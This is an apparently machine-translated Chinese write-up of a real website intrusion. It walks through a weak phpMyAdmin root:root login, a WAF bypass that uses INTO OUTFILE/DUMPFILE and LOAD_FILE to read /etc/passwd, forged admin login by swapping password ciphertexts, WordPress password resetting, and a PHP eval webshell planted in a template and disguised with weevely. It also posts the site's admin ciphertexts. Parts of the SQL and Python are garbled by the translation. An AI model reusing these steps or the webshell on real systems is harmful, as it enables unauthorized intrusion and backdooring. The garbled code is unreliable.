介绍
昨晚PD给我发了一个网站,让我帮忙审一下。他发现的入口点非常简单:phpMyAdmin 的弱密码。这次的入侵过程其实很简单。此时,您可以尝试检索WordPress目录,因为您稍后浏览本站页面时,在phpMyAdmin后台发现了wp-*。由于拥有WordPress 背景,本文的精神基于“为您提供更多”的原则。
#phpMyAdmin
root:root在后台登录时,显示为紫色。
传统的思路是运行一条SQL语句,向网站的目录写入一句木马,然后动刀。
我定期检查root权限是否被降级,即是否有写文件的权限。
可用,如图所示
定期测试/tmp目录是否可以写入。
为OUTFILE ‘/tmp/1.txt’ 选择1
此时连接已重置- -*
我猜测是被WAF拦截了,所以就想了一些办法避免被拦截- -*
例如,使用注释和大小写字母。但都没有成功,所以我就想着绕过SQL注入保护。还有其他函数可以代替INTO吗?
这里肯定想到了OUTFILE、INTO DUMPFILE,但事实证明这个被成功绕过了。
当时的测试语句是:
选择1 作为转储文件“/tmp/1.txt”
此操作失败,错误消息为“1.txt 已存在”。这可能意味着上面使用INTO OUTFILE时,该语句经过后续验证后执行成功。所以我发现如果我执行了INTO OUTFIE等被禁止的函数,页面会被返回并重置,但语句仍然会执行。这也为进一步的操作奠定了基础。
然后我试图弄清楚如何找到网站的根目录,尽管我查看了主网站,但找不到任何可用的信息(例如错误报告)。我还检查了mysql执行环境,发现如下目录:
/var/lib/mysql/
/usr/
没有phpStudy或LAMP等集成包的安装痕迹等有用信息。
所以我目前的想法是依靠猜测目录。据我记得,我尝试了几个常用的都失败了,于是我开始寻找Fuzz字典。
我找了一会儿但没有找到。然后我想起sqlmap的-os-shell函数有一个自动猜测目录的选项,所以我查看了sqlmap的目录字典。
打开文件后发现弱字典
OS.LINUX:(“/var/www”、“/usr/local/apache”、“/usr/local/apache2”、“/usr/local/www/apache22”、
“/usr/local/www/apache24”,“/usr/local/httpd”,“/var/www/nginx-default”,“/srv/www”,
“/var/www/%TARGET%”、“/var/www/vhosts/%TARGET%”、“/var/www/virtual/%TARGET%”、
“/var/www/clients/vhosts/%TARGET%”、“/var/www/clients/virtual/%TARGET%”),
以后我可能会保存更多的根目录并写在这里 -*
我尝试了以上所有方法,但没有成功。
接下来我要读取配置文件- -*
传统上,首先读取/etc/passwd。
LOAD_FILE在SQL执行过程中也会被过滤,没有返回结果,所以我尝试创建一个表,并将文件内容INSERT到LOAD_FILE('/etc/passwd')中,并添加一个LONGTEXT类型的字段(这样做的基础是是)。如果上面确定了,就会执行SQL语句)
所以运行:
创建表测试(
id int(4) NOT NULL 主键AUTO_INCRMENT,
`read` LONGTEXT NOT NULL);
我在这里遇到了一个陷阱。我对MySQL不是很熟悉,所以我必须将读取的字段名称用“括起来。以前,当我不加引号时,我一直报错。读取是保留字符吗?
创建表成功后执行。
插入测试(id,`read`) value(“1”,load_file(‘/etc/passwd’));
成功链接已重置- -*
但它仍然运行。
但是,如果我继续插入一些条目来读取其他文件(例如/etc/shadow),连接将重置(该文件存在)但变为空(我没有读取该文件的权限)。
基于Toss原理,只需使用BurpSuite运行Linux配置文件Fuzz Dictionary即可。
乌云维基文章的Fuzz目录本地不存在,只是一个集合,所以我在百度上查了标题,看到了快照,就复制了- -*
然后我编写了一个脚本来删除前导空格。
with open(“C:\\Users\\***\\Desktop\\path.txt”,'r') as fr,open(“C:\\Users\\***\\Desktop\\b.txt” ",'w') 作为fw:
fr.readlines(): 行
fw.write(line.lstrip())
然后Burp 捕获执行INSERT 语句的包。
结果如果有Response则说明该文件不存在,执行SQL时会报错。如果没有回车,则认为该文件存在。它没有像我预期的那样插入到测试表中(在Repeater中,您可以通过更改ID并多次发送数据包来插入它,但我不明白为什么它不能插入到Inturder中)。好的,请回复- - *
我手动读取出现的现有配置文件。除了passwd 之外没有人有读取权限。
这里还要补充的一件事是,当我们检查目录是否存在时,我们可以使用INTO DUMPFILE 导出该目录并返回它。
Errcode:2 目录不存在
Errcode:13 存在,但您没有读取权限
所以我们看到/var/www/html 存在,很自然地假设这是根目录。但是,由于网站的结构,当我写入本应属于根目录的文件夹时,我还会收到一条消息,表明该目录不存在,因此这不是网站的根目录- -*坑- -
如果哪位高手在phpMyAdmin中有什么灾难性的获取shell的方法,请在下面回复我。
#在后台运行GetShell
网站后台很好找,主页上都写着,但看到数据库里有管理员密码,我惊呆了。
这是我自己写的加密过程吗?如果有人知道加密方法请告诉我- -*
以下密文用于研究目的。
C3tQcFAxXmEAIgI/A30OMldnA2FXZw==
A3AEP1Y2DjwOMw==
B35TZQB1
Uz9QalcnXGxUaw==
UDRTdAZuWmcDIgdlUG4OMg==
AjMFZFFnCGAGYgRh
破解后似乎没有登录管理员的解决方案,但网站上有注册入口。注册账号成功后,在数据库中找到加密后的密文,将密文替换为特定管理员即可成功登录后端(此处不做说明)。
普通会员后台还有遍历任意用户信息的接口- -*
登录后台
Shell上传和各种Shell保持姿势失败。
#WordPress
在网站首页找到这个
可以确认WordPress存在
虽然WordPress密码由于salt加密而无法解密,但您可以直接将用户密码更改为md5(密码),并在登录后自动将密码更改为WP加密的密码。
所以传统的想法是登录后端后添加模板。
不过,与斩波器的连接确实出现了问题,我们怀疑它被WAF拦截了。
?php @eval($_POST[‘menglogy’]);echo `whoami`;echo `test';
测试结果如图所示
因此,我们通过发送weevely生成的密文,成功绕过WAF。
#结论
由于长度和时间问题,已经有点长了,没有对内网进行进一步的探索。日子还很长。
*来源:90 Seconds More编辑部制作并公布
原创文章,作者:Moto,转载自:http://www.mottoin.com/article/web/85636.html
版权声明:本文由今日头条转载,如有侵犯您的版权,请联系本站编辑删除。